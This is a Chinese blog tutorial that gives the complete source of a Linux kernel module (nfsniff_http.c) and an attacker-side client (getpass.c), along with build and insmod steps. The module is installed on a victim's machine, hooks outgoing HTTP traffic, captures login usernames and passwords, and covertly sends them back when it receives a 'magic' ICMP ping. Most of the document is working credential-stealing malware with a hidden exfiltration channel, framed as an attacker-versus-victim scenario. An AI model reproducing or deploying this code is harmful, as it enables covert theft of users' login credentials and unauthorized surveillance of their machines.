HTTP协议用于在Web浏览器和网站服务器之间传递信息,以明文方式发送内容,没有任何方式的数据加密,因此只要截获报文就可以很轻松的获取某些关键的信息,比如登录时的用户名和密码。最近学习到LKM编程以及iptables和netfilters编程,本文参考详细原理点击此处里面的nfsniff.c(ftp用户名密码的窃取代码),修改之后的nfsniff_http.c实现了对HTTP协议传输的账号密码的抓取。
假设此时有两台电脑,攻击者和受害者
1.将nfsniff_http.c编译到受害者内核,勾出向外发出的报文,一旦发现有账号密码则记录到内存
2.攻击者运行getpass,向受害者发送暗号
3.受害者接收到暗号报文,将记录的账号密码发送给攻击者
参考代码nfsniff.c基于内核版本:2.x,32位系统
修改代码nfsniff_http.c基于Ubuntu 16.04,内核版本:4.10.0,64位系统
两份代码不同之处:
1.钩子函数定义改变
//2.x
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *)){}
//4.10.0
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state){}
2.系统位数导致强制类型转换错误
//nfsniff.c
//此处tcp为指针类型,32位系统中大小为4个字节,因此可以强转为同样是4个字节的int类型
data = (char *)((int)tcp + (int)(tcp->doff * 4));
//nfsniff_http.c
//64位系统中指针类型8个字节,因此强转为int会出错,可以转成同样为8字节的long型
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
这里仅抓取用户名和密码,若要匹配的话必须知道登录界面中提交的表单里面是如何定义这两个参数的,当然可以用wireshark抓包分析得到参数名称,这里我们也可以在不抓包的情况下从页面源码获得,首先从界面右键查看页面源码,发现参数定义如下图:
这样我们就可以用查看到的uid和password进行匹配得到我们想要的账号密码信息了,下面看字符串匹配的代码
//Connection是http的一个首部字段名
if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
/*cookie字段Connection之前,里面存放了以前输入过的信息,其中可能包括以前输入的账号密码,为了不让cookie字段影响我们的匹配,将账号密码的匹配工作从Connection以后开始,因为本次表单提交的数据在数据包所处的位置都在Connection字段之后*/
check_connection = strstr(data,"Connection");
/*代码里的这种printk是用来调试的时候用的,dmesg命令时可以发现代码进入了哪些地方或者在哪里出了问题*/
printk("3333333333333333333333333333333333333333333333333333333333333333");
//用前面查找到的uid匹配出用户名
name = strstr(check_connection,"uid=");
_and = strstr(name,"&");
name += 4;
len = _and - name;
//申请内存,存入uid
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(username + i) = name[i];
}
*(username + len) = '\0';
//用前面查找到的password匹配出密码
passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd += 9;
len = _and - passwd;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(password + i) = passwd[i];
}
*(password + len) = '\0';
} else {
printk("44444444444444444444444444444444444444444444444444444444444444");
return;
}
1.先将nfsniff_http.c编译到受害者内核,cd到nfsniff_http.c 和Makefile文件所在的目录下,键入命令 make
Makefile内容:
obj-m += nfsniff_http.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
2.再执行命令 sudo insmod nfsniff_http.ko
3.接着去网页登录,此时账号密码信息已经捕获
4.攻击者电脑编译并执行getpass(sudo ./getpass 受害者ip 攻击者ip)
5.成功
getpass.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include
#include
/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;
if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]);
exit(1);
}
/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %s\n",
strerror(errno));
exit(1);
}
/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
strerror(errno));
exit(1);
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */
fprintf(stdout, "Sending request...\n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "\nFailed sending request! %s\n",
strerror(errno));
return 0;
}
fprintf(stdout, "Waiting for reply...\n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %s\n",
strerror(errno));
close(icmp_sock);
exit(1);
}
iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %s\n",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %s\n",
(char *)((char *)icmphead + 28));
close(icmp_sock);
return 0;
}
/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;
for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);
return ~sum;
}
nfsniff_http.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36
MODULE_LICENSE("GPL");
#define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr))
/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */
/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;
/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */
/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_http(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
char *name;
char *passwd;
char *_and;
char *check_connection;
int len,i;
printk("1111111111111111111111111111111111111111111111111111111111");
tcp = tcp_hdr(skb);
data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4));
printk("222222222222222222222222222222222222222222222222222222222222222");
if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
check_connection = strstr(data,"Connection");
printk("3333333333333333333333333333333333333333333333333333333333333333");
name = strstr(check_connection,"uid=");
_and = strstr(name,"&");
name += 4;
len = _and - name;
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(username + i) = name[i];
}
*(username + len) = '\0';
passwd = strstr(name,"password=");
_and = strstr(passwd,"&");
passwd += 9;
len = _and - passwd;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
for (i = 0; i < len; ++i)
{
*(password + i) = passwd[i];
}
*(password + len) = '\0';
} else {
printk("44444444444444444444444444444444444444444444444444444444444444");
return;
}
if (!target_ip)
target_ip = ip_hdr(skb)->daddr;
if (!target_port)
target_port = tcp->source;
if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
printk("5555555555555555555555555555555555555555555555555555555555555555");
if (have_pair)
printk("Have password pair! U: %s P: %s\n", username, password);
}
/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct tcphdr *tcp;
printk("666666666666666666666666666666666666666666666666666666666666666666666");
/* Make sure this is a TCP packet first */
if (ip_hdr(sb)->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));
/* Now check to see if it's an FTP packet */
if (tcp->dest != htons(80))
return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
check_http(sb);
/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}
/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct sk_buff *sb = skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */
printk("7777777777777777777777777777777777777777777777777777777777777777777777777777");
/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;
/* Is this an ICMP packet? */
if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);
/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}
/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = ip_hdr(sb)->saddr;
ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
ip_hdr(sb)->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) {
case ARPHRD_PPP: /* Ntcho iddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];
/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)eth_hdr(sb);
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
ETH_ALEN);
memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
break;
}
};
/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
//memcpy(cp_data + 4, username, 16);
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to.
* Fingers crossed... */
dev_queue_xmit(sb);
/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
target_port = target_ip = 0;
// printk("Password retrieved\n");
return NF_STOLEN;
}
int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_INET_PRE_ROUTING;
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_INET_POST_ROUTING;
nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);
printk("88888888888888888888888888888888888888888888888888888888888888888");
return 0;
}
void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);
if (password)
kfree(password);
if (username)
kfree(username);
}